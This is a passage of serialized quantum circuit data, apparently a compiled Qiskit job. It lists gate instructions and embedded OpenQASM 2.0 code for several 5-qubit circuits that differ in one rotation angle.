['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1259', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1261', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.8000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1263', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.9000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1265', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, 